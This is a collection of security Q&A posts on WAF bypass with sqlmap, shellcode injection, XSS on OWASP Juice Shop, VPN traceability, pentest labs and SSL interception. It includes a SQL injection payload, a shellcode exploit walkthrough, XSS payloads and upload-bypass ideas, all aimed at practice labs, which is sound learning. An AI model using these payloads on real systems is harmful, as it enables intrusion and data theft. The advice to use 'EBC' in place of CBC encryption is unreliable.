If you want to stay safe you can just ensure your Linux home and root partition are encrypted and use UEFI to ensure your Linux kernel isn't modified. Then it will be impossible for your Windows box to touch the rest of the OS. A less elegant (and insufficient from a legal standpoint if you need to guarantee the data is well protected) but maybe easier approach is to use a cryptic filesystem format that Windows doesn't support but Linux does to store your data :-)

Note, as pointed out by Polynomial in the comments, that cryptsetup (until 2013) used CBC as a default method for encryption which opens up for malleability attacks, leading to the ability to make predictable changes to specific locations on the hard drive's content. Make sure to use EBC instead and remember that you cannot guarantee integrity on your system.

This being said, I would be seriously more worried about my Linux box than about cross-OS attacks if I were you. How do you currently guarantee a rogue or compromised Linux app isn't accessing your study participant data?


SqlMap bypasses OWASP ModSecurity Core Rule Set for SQL Injection I am trying to perform a simple penetration test on the DVWA (the web application that has been specifically designed to be vulnerable to some of the most common web application attacks).

I want to use ModSecurity WAF to protect this web application from SQL Injection attacks. I am using Apache web server to host my web application. The operating system of this ‘victim’ virtual machine is Windows XP SP3.

I know ModSecurity provides very little protection on its own. So I decided to use OWASP ModSecurity Core Rule Set Project to include additional SQL Injection rules.

I copied ‘SQL Injection Attacks rules’ provided in the ‘base_rules’ folder of the OWASP Core Rule Set to the appropriate config file, and made sure these rules were loaded together with ModSecurity itself.

I performed manual SQL Injection attacks on the DVWA from my other virtual machine that had Kali Linux installed. For example:

%’ or 1=0 union select null, concat (first_name, 0x0a, last_name, 0x0a, user, 0x0a, password) from users #

When SQL Injection Core Rule Set was disabled, the following information would be displayed:

However, when these rules were enabled, the server would always return ‘Error 403 – Access forbidden’ meaning that these SQL Injection rules were working correctly.

I then decided to use sqlmap to perform more advanced SQL Injection attacks. I had to hijack the session by using burp suite in order to obtain cookie information. I copied all that information to a .txt file on Kali Linux Virtual machine:

I hid the IP and cookie information.

This is the command that I entered in my Kali Linux virtual machine terminal:

Sqlmap managed to bypass the OWASP ModSecurity SQL Injection rules and displayed the following information:

I really don’t understand why it managed to bypass these rules. Any ideas?

I used the following tutorial to configure ModSecurity on my virtual machine:

http://mewbies.com/how_to_install_mod_security_for_apache_tutorial.htm

Maybe I should have included some additional OWASP Rule sets to prevent sqlmap attack?

Thank you

I've managed to make ModSecurity detect and prevent SQL Injection! The problem was with the SqlMap itself and not the OWASP Rule Sets.

Before enabling ModSecurity I performed a normal sqlmap scan using the command mentioned previously. SqlMap managed to obtain and decrypt user and password values. I was expecting that to happen because I had no WAF enabled.

The next step was to enable the WAF and SQLI rule sets and perform the same scan. SqlMap still managed to get user and password values. The reason for that is because it obtained the cached results that were saved after I had performed my first SqlMap scan with no WAF enabled.

I deleted the whole sqlmap output folder related to that specific IP address where the DVWA was hosted.

rm -rvf /usr/share/sqlmap/output/192.168.220.128*

The final step was to run the sqlmap scan again, and this is what I got:


Why does OpenVPN use two channels and not just TLS? This question elaborates that OpenVPN uses two channels to transfer data.

It first sets up a TLS connection (called control channel) and uses that to transfer a symmetric key and some other control data. It then sets up another channel (data channel) and starts transferring the actual data encrypted using the key.

Why the second channel? Why not simple transferring all data using TLS?

There's some truth in the other answers, but the primary reason is different:  because OpenVPN was designed as IP-over-UDP, while TLS runs over TCP.  Futhermore, the initial versions of OpenVPN did not have key exchange at all, but already had their own (better designed than TLS) data channel protocol.  So when TLS was added, it made sense to stick to that for the data channel.

(Nowadays there's DTLS that runs over UDP, but that didn't exist when the OpenVPN protocol was created.)


Does SMS flood cause denial of service even when "blocked"? Imagine a SMS flood using a few phone numbers. The client blocks the phone numbers using the build in mechanism of the smart phone, and thus does not receive any notifications. Even though the user blocked the messages on his or her cell phone, does the SMS flood still cause a denial of service for SMS messages from other numbers? Or, does the blocking completely prevent the flood from those numbers from causing any harm? How does this work?

From an IP perspective, a few servers can take down a single server, especially a home connection. Even when the packets are blocked with IPTables, the service is still completely unreachable because it's flooded at the network layer. I know that SS7 is very different..For one thing, it's connection based, instead of packet based.

There are different kinds of blocking. The DoS you describe is merely a UI-based problem.

If blocked from the SMS app, then the incoming SMS is ignored and not displayed. This happens client-side. Which means there might be congestion in the network, but SMS is not meant to have high QoS, so you might never notice a problem. But it does solve the UI-based 'DoS' problem. Other SMSs from other numbers would never be affected anyway at the network level.

If reported to your carrier, then the blocking happens at the network level.

SMS flooding is different from IP network based flooding. SMS clients do not have direct access to the network, they are clients of the network, so that regulates a lot.


Buffer Overflow on Raspberry PI Is the ARM processor used on the Raspberry Pi vulnerable to standard buffer overflows? That is, if a program that has a BO vulnerability is run on a Pi, will it be vulnerable to exploit?

How does the unique architecture of ARM and SoC affect the vulnerability, or the exploit?

Considering the lower footprint and smaller attack surface, what would be a likely vector of attack?

And most interestingly, does the Raspberry Pi support any builtin protections against overflows, such as ASLR, DEP / NX, canaries in general, etc?

The raspberry pi runs on the ARM1176JZF-S processor. ARM is used in more devices than just the Rpi. ARM exploitation is certainly possible. Have a look at the following papers:

A Short Guide on ARM Exploitation
Effective and efficient bufferoverflow protection
Return Oriented Programming for the ARM Architecture

Also have a look at this Defcon 18 presentation.

In regards to exploitation, Buffer overflows are definitely possible (refer to the papers for technical details).  On many new platforms the stacks are non-executable, thus attempting to exploit  them is more difficult than in the past. Techniques like ret2libc won't work because of the way ARM performs variable management. Variables are sometimes pushed across registers rather than being put on the stack, which makes it a lot more difficult to pop the right variables in order to jump to a piece of shellcode. Another type of attack can be used instead though as demonstrated in this paper which uses an adaption of the technique making use of Return Oriented Programming.

ASLR is primarily an Operating System responsibility. So it will largely depend on what OS you are running on your Rpi and if it was compiled with ASLR support. NX bits are implemented but can be circumvented using Return Oriented Programming.

Note that the ARM processor within the raspberry pi supports TrustZone which allows for two spaces:

Secure World
Normal World

ARM uses virtual cores to seperate these two worlds, which allow for different execution privileges (for instance  on Android this is used to seperate your mobile payment module to execute in a completely different zone than your normal applications). So even when you might be able to exploit your device, there is still a possibility that you will not gain access to sensitive data.

In regards to plausible attack vectors, it would depend on what you use the Rpi for. For other devices implementing ARM, attacks have been used to for instance unlock boot loaders (the exploit actually was able to bypass secure to normal world protections).


Segmentation fault error when calling user defined function in shellcode I am getting the segmentation fault error when I called function "target" in my shellcode.

Here's the C code of program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 50

void target(){
    //Magic Happens Here
}

void function_x(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        exit(0);
    }
    printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();
}

int main(){
    function_x();
    return 0;
}

I obtained opcode of "CALL TARGET_FUNCTION_ADDRESS" instruction which is "0xfffef5e8" and saved it in a file as:
echo -e "\xe8\xf5\xfe\xff" > shellcode

Then I passed my shellcode as input to the program as:

    (gdb) r < shellcode
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/rakesh/a.out < shellcode
    You can type 50 bytes:

    Breakpoint 1, 0x08048615 in function_x ()
    (gdb) si
    0xb7fd5000 in ?? ()

    (gdb) x/10w $eip
    0xb7fd5000: 0xfffef5e8  0x0000000a  0x00000000  0x00000000
    0xb7fd5010: 0x00000000  0x00000000  0x00000000  0x00000000
    0xb7fd5020: 0x00000000  0x00000000

    (gdb) si
    0xc2fd4efa in ?? ()

    (gdb) si

    Program received signal SIGSEGV, Segmentation fault.
    0xc2fd4efa in ?? ()
    (gdb)
    [46]+  Stopped                 gdb ./a.out

I can see that EIP is pointing to my given shellcode but still it's not working as expected.

Can anyone tell me why my shellcode is not working??

As Joshua said, just mov(e) the address of the target function into a register and call that regsiter. Assemble that and use its opcodes, because you need a shellcode(opcodes) that would be executed, and not a function address.

When func() is called after typecasing("stuff") into a function pointer as you wrote

void (*func)() = (void (*)())stuff;
func();

Exploit:

I used your C code and just modified target function a bit to

void target(){
    //Magic Happens Here
        puts("You won");
        exit(0);
}

Compiled it with following gcc flags: gcc -fno-stack-protector -z execstack vuln.c

I did it on 64 bit architecture, so the binary is ELF 64bit. Now run the binary in gdb, and find the address of "target" function as:

(gdb) p target
$1 = {<text variable, no debug info>}` **0x4006dd** `<target>

Go here and assemble the following x64 instructions (for x86 use eax instead of rax). Example:

mov rax ,0x4006dd
call rax

It gives the following shellcode: **\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**

Now write it into the file

python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out

You can type 50 bytes:
**You won**

root@BOX:~#`

Thus executing the target function.


AWS HIPAA requires hardware dedicated to a single customer Amazon HIPAA compliance requires customers to run on dedicated hardware (https://aws.amazon.com/compliance/hipaa-compliance/).

I would think isolation of the operating system and encryption of data at rest and data in transit would be enough.

What are the risks of sharing hardware with other client virtual machines? I am trying to understand the reasons behind their decision for this restriction.

Not using dedicated hardware can lead to information leakage due to shared caches, compromised hypervisors  (due to various timing-based side channels, and other issues due to uncertain performance stability.

Encryption of the data at rest and in transit is not sufficient as several of these attacks have demonstrated proof-of-concepts that steal keys from neighbours. In general, compliance regulations tend to err on the side of caution until a technology is mature.


Injecting alert("1") to OWASP Juice shop doesn't work I've just learned the theory behind XSS attacks and now I would like to test my knowledge in a legal way.

I wanted to "hack" OWASP Juice shop by following steps from this book  section "Perform a reflected XSS attack". When I use iframe src="javascript:alert(1)"> as a XSS payload it works as expected (I get alert 1). But when I change it to <script>alert(1)</script> nothing happens, no alert is displayed.

I checked using Chrome Developer tools that payload was injected to the DOM but for some reason script was not executed.
Do you have any idea why?
Any idea how can I inject more sophisticated payload to OWASP Juice shop?

I went ahead and tried to determine what endpoint in the OWASP Juice Shop application you are injecting your payload into. Please correct me if I am wrong, but it appears that the payload is injected via the search field.

This appears to be DOM-based XSS and not reflected XSS. This is important to note since the payload is passed on to the innerHTML method:

{{"TITLE_SEARCH_RESULTS" | translate}} -

 does not execute when injected via innerHTML as stated here:

  script elements inserted using innerHTML do not execute when they are inserted.

Instead, I would recommend using payloads such as  and .


Does Heartbleed affect servers if OpenSSL was only used to generate the certificate? I built an application that generates certificate signing requests (CSRs) using the PHP OpenSSL module.

Is there a way that the HeartBleed bug can affect these (in use) private keys and CSRs that were generated while OpenSSL 1.0.1e was installed on the generating webserver?

The bug only affects TLS connections that enable Heartbeats, not other parts of OpenSSL. Unaffected parts include key generation, certificate signing, generating digests, random bytes generation, etc.

Also, in no way can a certificate be "infected" by this bug such that it carries a risk to other components. For example, certificates generated by OpenSSL 1.0.1g will not be better or worse than ones generated by 1.0.1f (which has the Heartbleed bug).


Which actions does the GnuPG "Certify" capability permit? Of the following three actions:

Certifying / signing other people's public keys.
Generating a revocation certificate.
Adding & revoking subkeys.

... which ones does the Certify capability on a key allow?

As I understand it, Certify permits 1) but I don't understand what permits 2) and 3).

If I remove the primary key (with its Certify capability) from a keyring I can see that I am no longer able to generate a revocation certificate: Secret parts of primary key are not available.

Is that because I no longer have the Certify capability, or because I no longer have the primary key (does the primary key itself have special powers for revocation?)

Certification Capability

RFC 4880, Key Structures defines the certification flag as mandatory:

  In a V4 key, the primary key MUST be a key capable of certification. The subkeys may be keys of any other type.

It hints that operations manipulating subkeys are to be considered certifications:

  It is also possible to have a signature-only subkey.  This permits a     primary key that collects certifications (key signatures), but is used only for certifying subkeys that are used for encryption and signatures.

Signature Types

Which (signing) operations are now to be considered certifications and depend on this capability?

"Signing other keys" obviously means issuing certifications, being already contained in the naming. As defined in RFC 4880, Signature Types:

0x10: Generic certification of a User ID and Public-Key packet.
0x11: Persona certification of a User ID and Public-Key packet.
0x12: Casual certification of a User ID and Public-Key packet.
0x13: Positive certification of a User ID and Public-Key packet.

The operations for manipulating subkeys also explicitely defined as certifications are:

0x18: Subkey Binding Signature
0x19: Primary Key Binding Signature
0x28: Subkey revocation signature

Yet undecided signature types (which belong to the area of "key management") are:

0x1F: Signature directly on a key
0x20: Key revocation signature
0x30: Certification revocation signature

0x30, certification revocation also should be considered a certification operation. 0x1F is also used for "statements that non-self certifiers want to make about the key itself". The only left operation is 0x20, key revocation signatures:

0x20: Key revocation signature
   The signature is calculated directly on the key being revoked.  A
   revoked key is not to be used.  Only revocation signatures by the
   key being revoked, or by an authorized revocation key, should be
   considered valid revocation signatures.

I cannot find any explicit restriction that disallows subkeys to act as revocation keys. [RFC 4880, Revocation Key)(http://tools.ietf.org/html/rfc4880#section-5.2.3.15) does not limit the target to primary keys, but also not explicitly allows subkeys. This might the only one not requiring certification capabilities. Yet GnuPG only creates revocation key signatures for primary keys. Another hint only primary keys should be allowed is that subkeys are always named as such if they apply in that section, so I'd assume only primary keys should be allowed.

Meaning of Certification Privilege

  If I remove the primary key (with its Certify capability) from a keyring I can see that I am no longer able to generate a revocation certificate: Secret parts of primary key are not available.

  Is that because I no longer have the Certify capability, or because I no longer have the primary key (does the primary key itself have special powers for revocation?)

In the end, there is no difference between a primary key and a key with certification capability, only primary keys may have it, but those also must.


How does the recent discovered PowerPoint exploit work? One of the recent blogs in Project Zero described a bug in the Symantec virus scanner in relation with PowerPoint files.

But I do not understand how the rounding up to the length of the cache can result in a buffer overflow. My data is still well contained within the cache, even if the size is incorrectly rounded up. Thus, how do I get an buffer overflow, if the cache is still bigger than the input data?

If the cache length lets say is 10.1kb well then the memory block will look something like this (Lets say the whole block is 30kb [Notice the middle block is our PP cache]):

|~~~~~9.95kb~~~~~|~~~~~~10.1kb~~~~~|~~~~~~9.95kb~~~~~~|

Now lets use the exploit, our data will look like this (Notice we just ran over 9kb of the next segment!):

|~~~~~9.95kb~~~~~|~~~~~~10.1kb~~~~~|~~|~~~~9.95kb~~~~~~|

This just ran over the next block causing us to inject data the data segment that is not part of the PP cache which is a buffer overflow.


IP range in SSL subject alternative name Is it possible to create a SSL (self-signed) certificate by specifying IP range in the SAN section of OpenSSL conf like this?

IP.1=192.168.0.0/24

No
(EDIT: This was a much longer post. I was speculating about wildcards. Turns out: It's much simpler.)
You can't do it.
RFC 5280 says:
When the subjectAltName extension contains an iPAddress, the address
MUST be stored in the octet string in "network byte order", as
specified in [RFC791].  The least significant bit (LSB) of each octet
is the LSB of the corresponding byte in the network address.  For IP
version 4, as specified in [RFC791], the octet string MUST contain
exactly four octets.  For IP version 6, as specified in
[RFC2460], the octet string MUST contain exactly sixteen octets.

So there is just no room for any wildcards.
Note:
Now in the past there was a way to put an IP address in a SAN field of type DNS (!). This was always dodgy. But there at least, you might have had the additional room for wildcarding tricks.


How do I know if a Nessus Scan against a Oracle instance has been sucessful? I have a Nessus Policy with all the Oracle plugins activated and the rest of the plugins disabled. I ran the scan against a fresh installation but I get nothing but the Oracle TNS Listener Remote Poisoning vulnerability.

Is there any plugin that helps to know if the scan credentials worked out or not?

Any other recommendations creating database policies will be greatly appreciate.

You can check the Nessus log to see what checks it performed, what plugins it used / attempted to use.

Steps

In the scan settings, make sure Log Scan Details to Server is checked
Execute the scan
After the scan, check the log file in: /opt/nessus/var/nessus/logs/nessusd.messages


Executed malicious exe file. Help please windows 8.1
Im not very computer savvy i was wondering if someone could help me out with this.
So I downloaded an exe file then ran it as administrator. It turns out it was a virus. Yeah I'm a genius.

File is called Extractor__8680_i1435468059_il22

Shortly afterwards BITSADMIN tool came up in command prompt all on its own and either uploaded or downloaded something or did something which i have never seen before before quickly closing itself. It mentioned a windows32 file.
Afterwards I activated malwarebytes and then shortly after that malwarebytes said it stopped a suspicious action on my computer, but i still feel my system is compromised.

I have tried running a few antivirus programs, making sure to check for rootkits even but it doesn't seem to help.

After a while my computer restart all on its own.

I'm at a loss at what to do but im guessing a factory reset is in order?

It's impossible to know from this description if your computer is compromised -- but it sounds like you're prepared to do a factory reset. For your peace of mind, and for the integrity of your system, that's what I'd recommend.

If you have access to a backup from which you can restore only records timestamped before you downloaded the malicious executable, that's the way to go. If not, I recommend backing up your data to an external drive. Don't reconnect that drive until you have reset the system, installed a good antivirus program, and performed all updates to the operating system and the antivirus program. Then connect the external drive, scan the files using that antivirus program, and (if they pass the scan) copy them back to your hard drive.

Then I recommend reformmating the external drive.


OAuth Authentication - Shared Secrets I am planning to use the Flickr API in a Windows Universal (UWP) application, written in C#. Early on in my prototype I stumbled upon a security flaw that I have been unable to find a reasonable solution for.

To authenticate a user, I need to obtain a request token using my API key and shared secret. At the moment this information is hard-coded in the application but this can be easily obtained by disassembling the executable with ILSpy. The risk here is that another application can behave as mine and use up my own API call quota.

I did some research but couldn't find any concrete solutions to the problem. Most people seem to suggest a proxy (with no extra details on how this would work in the context of authenticating) or just leave the details hard-coded and generate new keys if it became a problem (which seems like an evasion rather than a solution).

What are my options in this scenario? Am I worrying about something that's not a huge problem? Are there known secure ways of doing this sort of authentication that I'm missing?

Useful Links:

https://www.flickr.com/services/api/auth.oauth.html
https://www.flickr.com/groups/51035612836@N01/discuss/72157606398936828/

The concept of the proxy leaves the question of authentication up to you.  As you know the basic idea is that you create a server-based service that is a facade for communicating with Flickr.  The UWP apps communicate only with your web service, which in turn holds your secrets and uses them to communicate with Flickr, returning only the results to the end user, never exposing the secrets.

This model leaves the question of end-user authentication up to you.  You can create a mechanism that forces your UWP app users to authenticate individually with your web service before communicating with Flickr, or you can allow them to access your web service unauthenticated.

Even if they are un-authenticated, however, this model provides you with several critical advantages.

You can monitor access to the service.  If the secrets are embedded in the app, as you've noted they can be stripped out and abused by a malicious user, and you'll never know the difference and have no ability to intervene.  If the requests need to go through a service you control, you have the ability to spot potentially abusive patterns, and at least know what is going on, and hopefully have the ability to mitigate the abuse as well by identifying and blocking offending clients.
If there are issues with the credentials, such as they're blocked or expire and need to be changed, you can update them on the server-side without having to push updates to every single client.    In the current model, if the creds cease to be valid for any reason, all of your clients are broken until you can publish an update with new secrets, and every client installs it.  In this model, the clients are only broken until you update the secrets on the service, and then they magically work again.


Could logless VPNs be traced? Logless VPNs, such as ExpressVPN, claim that they can't tell authorities your real IP even if asked. They claim:

  No connection logs.  Never logs connection timestamps, session duration, your source IP address, or the ExpressVPN IP address that your computer assumes when connected to the VPN.

So in this scenario they can't share your real IP even if they want to?
Is it 100% safe to be using VPNs like this?

It is absolutely possible.
Traffic analysis attacks
Even if a VPN is honest about their claim that they do not log, their upstream ISP certainly logs. It would be unheard of for them not to. For a VPN (as opposed to Tor), the ingress and egress go through the same ISP, allowing trivial traffic analysis attacks. I explained a bit of this in this answer. Take the following series of events, with the ISP being the upstream ISP of the VPN (or a proxy):

ISP sees 203.0.113.42 send 253 bytes of data at t+0.
ISP sees the proxy server send a 253 byte request to example.com/foo.html at t+1.
ISP sees example.com send a 90146 byte reply at t+2.
ISP sees 203.0.113.42 receive a 90146 byte reply at t+3.

From this, it becomes trivial to realize that 203.9.113.42 connected to example.com/foo.html. This is a type of traffic analysis attack, specifically a traffic correlation attack. Virtually all ISPs keep this sort of information via NetFlow and similar ubiquitous systems.
Network stack issues
There is another problem with a VPN. You have to realize that the term Virtual Private Network is now more a marketing term. VPNs were never designed with anonymity in mind. The "private" in VPN refers to IANA-reserved private addresses specified in RFC 1918. It does not mean "right to privacy" or anything similar. All it is designed for is to connect two systems and expose them to each other as virtual network interfaces with local (private) IP addresses. This has several issues:

Your networking stack is "exposed", so a vulnerability in your kernel could be exploitable.
For this same reason, TCP/IP fingerprinting can  uniquely identify you, even behind a VPN.
You are forced onto the same NAT as a large number of untrusted users, allowing them to attack you indirectly, sometimes even allowing them to discover things like your hostname.

Visualizing the issue
It's useful to see how this all works, visually, in the form of a diagram. The single line represents traffic under your home IP, and the double line represents traffic with a different IP. A traffic correlation attack involves correlating the activity (timing and sizes) of both types of traffic.
How a plain connection works:
Client ----[Client ISP]----+
                           |
Server <---[Server ISP]----+

How a VPN works:
Client ----[Client ISP]---[       ]----> VPN
                          [VPN ISP]       |
Server <===[Server ISP]===[       ]=======+

How Tor works:
Client ----[Client ISP]---[         ]--> Node1
                          [Node1 ISP]      |
                   +======[         ]======+
                   |
                   +======[         ]==> Node2
                          [Node2 ISP]      |
                   +======[         ]======+
                   |
                   +======[         ]==> Node3
                          [Node3 ISP]      |
Server <===[Server ISP]===[         ]======+

You can see in this diagram how the VPN's ISP is in the position to trivially correlate the two connections, compared to a mixnet like Tor where every node's ISP must collaborate to have a chance at deanonymizing someone. This is not impossible, and an adversary who can see a significant portion of the internet at any given time may be able to pull this off a certain percentage of the time. It is very difficult to do, however, and the Tor protocol includes a number of features (both deployed and in active development) to make this even harder than it already is.
Another important thing to remember is that Tor will periodically switch the nodes it uses. Although the first node stays the same in order to avoid so-called Sybil attacks, the other two will change at most every 10 minutes, or whenever a different domain is visited. This reduces the chance that the final node sees too much traffic over time. VPNs, on the other hand, will naturally be static targets.
What this all means

Using a VPN (or proxy) does not protect you from the VPN's ISP revealing its logs, even if the VPN service is completely honest about their no-logging policy.
Your networking stack is exposed and visible to any 3rd party server you connect to, allowing potential exploitation and TCP/IP fingerprinting.
Anonymity networks like Tor provide some level of traffic correlation protection and hides your networking stack, though like all systems, it's not perfect.

If you need anonymity, you should use Tor without a VPN, unless a VPN is necessary to bypass a firewall that Tor cannot bypass, otherwise it would be superfluous.


How to set up a pentesting lab in Amazon Web Services? How can I add vulnerable VMs in AWS instance of Kali? Do I need to install VMware or Virtualbox on top of the Kali instance in the cloud and then install the vulnerable VMs or is there any other approach?

First, a word of caution: AWS requires that you inform them of any security related test you plan on running to their infrastructure [link].

Second, Kali is not a vulnerable operating system, it is an operating system that comes with pre-installed tools so you can perform security tests on other machines.

And third, an AWS EC2 is already a virtual machine, yes you can install virtualbox in an EC2 but there is hardly ever a need for that.

Now, the type of EC2 machine you need depends on the type of test you want to run, for example if you want to probe a vulnerable web server you can run an EC2 with Ubuntu and install Webgoat or any other intentionally vulnerable web server. If you want to probe the actual server then you need to install the specific version of the operating system that you're targeting.

If you want to run both the attacker and the victim inside AWS then I suggest you create 2 separate EC2 instances, in my opinion its a bit odd to install a virtualization manager inside a virtualized machine

Related question: "Securely building a local pentest lab in a VM"

Update:
Vulnhub gives you an ISO/VMWare/Virtualbox image, you can convert this image to an AWS AMI image and create an EC2 with your custom AMI, I found this tutorial on how to do it.


Buying a "Used" Router I am buying a "new" router from an open-box sale at a company that liquidates eCommerce returns. Plan to use it for a home network at cottage.

I'm a bit nervous that it could have been modified by whoever had it last.

What are the main risks in this scenario?
What specific steps should one take before and during setup of a new router that someone else may have had access to in the past?

Update: The device model is a TP-Link AC4500 (archer) router.

Short answer: do a factory reset, update the firmware, and you are good to go.

The risk is very low, bordering zero. The previous owner may have installed a custom firmware or changed its configuration, but a firmware upgrade and factory reset is enough to take care of almost every change.

The risk that the previous owner tampered with the router and his changes can survive even a firmware upgrade and factory reset is negligible.

So, don't worry, unless you are a person of special interest: working on top-secret stuff or have privileged financial information on a big enterprise. But as you are buying a used router, I bet you are a common guy and would not be a target for those attacks.


What are some good resources for learning how to hack my website? Note: This is for my personal use. I'm not going to hack someone else's website.
I have several websites, and I'd like to learn how to hack them so that I can secure them. Where can I find some good resources for learning how to hack my websites?

I already know about Hack This Site.

Could someone please change the tags, as I can't create new tags?

When it comes to websites, OWASP is a big part of that knowledge. Be familiar with their Top 10 and try them out on your site. There's a lot of other informative information there as well.

Beyond that, any resources related to pentesting are good starting points. Books about Penetration Testing is a good starting point there as well.

There are also a lot of related tools: What tools are available to assess the security of a web application?, and sometimes know those will point you down the right path.

If you're trying to learn a broad scope overview of something, I suggest also check out the tags: https://security.stackexchange.com/questions/tagged/attack-prevention will show you a wealth of good resources to think about when designing you web applications / sites.


What compliance problem does "Common Criteria Certification" solve? It has been said Common Criteria solves a "Compliance problem, and not a security problem".  Can someone explain where CC certification is required or benefits an industry?

Is it simply a marketing angle that helps sell a product to less-informed VPs/execs? What are the practical benefits of it, or where is it beneficial?

Common Criteria is a checkbox on DoD and other government department procurement processes.  As you are probably aware, CC evolved from TCSEC in the states and combined ITSEC (Europe) and CTCPEC (Canada).  So there are those that argue that Common Criteria sets down a standard model of security awareness for any product that goes through its process.

With that said, and as a Canadian Common Criteria evaluator, I can tell you that there are constant disagreements within the CC industry as to whether the process helps provide any assurance or whether it is merely an unsatisfactory checkbox.

Ultimately the big end-vendors -- your Microsoft's, your HP's, your Oracle's -- all want to sell to the government.  They cannot do this without the CC certificate, so they consent to have their system evaluated.  They are interested in the final certificate (technically, as long as they are "in-evaluation" that may be all they need to sell).

Assurance is a two-dimensional beast in CC. On one axis, you have the security functions that the product is claiming to offer (eg. smart-card identification and authentication for workstations). On the other dimension, you have the level of rigour and effort put into testing that those claims work and are securely implemented.

The CC industry has decided to force to reduce the rigour of the evaluation (you can only go up to Evaluation Assurance Level 2 instead of 4 [higher the number, more rigour applied]).  The idea is to speed up the evaluations, make them cheaper, and allow more vendors to seek them.

The question that always comes up within CC is: does the process make a difference?  It does, and it doesn't.  CC is mostly about analysing the security of the architecture and end-to-end development process.  Only a very small component of the overall assurance is related to testing and vulnerability analysis.  It is this lack of testing which many people (including myself) see as a problem within CC.  There are changes coming through now which aim to increase the focus on testing while reducing the amount of effort spent on analysing documentation.  This is a good thing.

Does it help other industries?  It can, but it certainly isn't mandated.  Many industries have their own certification processes.  CC has been attempted to be applied to health care (the BITS framework) and also for industrial control and analysis systems (eg. SCADA systems).


Is running wp-cli as root in docker container dangerous? I'm deploying a web app that consists of 5 containers:

MariaDB
PHP-FPM
nginx
Data Only Container
WP CLI

When I try to run a WP CLI command, I get the following warning:

  Error: YIKES! It looks like you're running this as root. You probably meant to run this as the user that your WordPress install exists under.

  If you REALLY mean to run this as root, we won't stop you, but just bear in mind that any code on this site will then have full control of your server, making it quite DANGEROUS.

  If you'd like to continue as root, please run this again, adding this flag:  --allow-root

I know that in a normal WP installation I'll have several problems. However, as containers are isolated, will I have some security problems with my use case?

Whilst it isn't generally a good idea to run as root, doing so in a container is generally less dangerous than on the host and if you're using Docker => 1.10 with user namespaces enabled, the concern doesn't really apply as root in the container is not root on the host.

Without user namespaces there are risks in running a container as root as if an attacker is able to break out of the container isolation they will be root on the host.  That's not to say that it's necessarily trivial to break out of the container.  Docker uses linux features like namespacing and capabilities to reduce the rights of the running process.

With User Namespaces, the root user in the container is mapped to a non-root user outside the container, so in the event that the container is breached the user would just be an ordinary low-privileged user.  Software which isn't container-aware will likely still complain as it doesn't realise that it's not using the "real" root user.


Is there an internal equivalent to fail2ban? fail2ban is a protection against brute-force that locks a user out after a definable maximum failed login-attempts.

But if a user already has access to a server with another username already fail2ban is not active anymore from the inside, so you have infinite tries to brute-force with

slogin otheruser@localhost

into another useraccount.

Is there a tool I could install on linux that kicks a user after a number of failed local ssh-login attempts?
And how do I have to configure it so a user gets kicked after 10 false attempts?

You can use fail2ban for this also. It is very configurable. In this case, you would need to write a new filter to watch your auth logs. You can use the <HOST> shortcut to match usernames, too, since those ought to conform to "hostname" parameters. You would also need to write a new action to perform the kick. The fail2ban manual has lots of good information to get you started.

As another example of extending fail2ban, I set up a filter to watch fail2ban's own logs. If any 1 host triggers any combination of bans more than 4 times in a month, they get a month-long ban.


Capturing SSL Traffic from My iPhone and Decrypting it I'm using an application connecting to a server over HTTPS and HTTP , I already monitor the HTTP traffic, but the I want to see the HTTPS traffic and decrypt it. I use Kali Linux & Windows 7.

First we need to address the elephant in the room. Unless you have permission to test these systems or own the devices, applications, and systems you are testing, this activity may be illegal. Now, with that out of the way:

In order to decrypt SSL (HTTPS) traffic, you'll need to either have a copy of the server's private key or generate your own cert / private key and use it while MitM'ing the traffic. Note that the second option will result in cert errors for the client that he/she will need to [by default] accept in order to continue interacting with the site/application.

Your title says from your iPhone but your question says using Win7 and Kali. I'll stick with Kali for this answer because it's the easiest thing to get you started.

One Approach with Kali

By default, Kail comes installed with a web proxy known as Burp Suite. <-- That link will take you to setting Burp up to intercept SSL traffic. You can MitM traffic by configuring your browser to proxy through the localhost (usually on TCP/8080 by default). Then you can browse to the site (accept the SSL warning) and see your traffic decrypted in Burp.

A More Complicated Approach - Will Work for Smartphones Too

You'll need to generate a certificate and install it on your devices to be able to decrypt the traffic later. You then need to proxy the traffic through a device capable of doing the packet decryption/inspection. A better overview of the process can be found here. That link is for a specific program/setup, but the process is pretty much the same no matter what the specific implementation is.


Execute an uploaded php script on a vulnerable server if I know it's location? I need to test a website and I found a vulnerable file upload. It is only checked whether or not the file extension is .jpg, .png or .pdf. I can bypass this by uploading a file named script.php.jpg. I know that uploaded files are stored in /uploads.

How can I execute that script? When typing http://example.com/uploads/script.php.jpg in my browser, the script is not executed. I know that the server can execute php code and that the server has said file vulnerability.

Unless the server is severely misconfigured, it will never execute .jpg files as .php files. The last segment after a . is the relevant one when determining file extensions, which means that you are uploading files that the server will correctly treat as jpg files.

So being able to upload script.php.jpg by itself is not a vulnerability.

If you for example had an LFI vulnerability somewhere, you could include the uploaded file, and then it would execute (regardless of file extension). Or if you could upload server config files (eg .htaccess in apache), you could reconfigure the server to execute .jpg files as .php files.

But those would be the vulnerabilities, not the ability to upload the .php.jpg file. It would be possible to check the mimetype on upload as defense-in-depth. But that can be bypassed, so I wouldn't consider not having such a check a vulnerability (even though checking is recommended).


Check signature when next CRL will be published after end of validity of certificate My situation looks like this:

I have to verify signature on document. For this I will wait when next CRL will be published to check that involved certificate was not revoked. But what if certificate ends (notAfter from Validity of certificate) before next update of CRL?

Schematically:

CRL publishing
Signature creation
Certificate expiration (notAfter time of certificate)
CRL publishing

Suppose certificate was revoked between (1) and (4). I think it won´t be in CRL (4) because it is not valid any more. But in this type of scenario I can not validate signature, or can I?

You are not the first to think of this. See the last sentence in
PKIX rfc5280 3.3

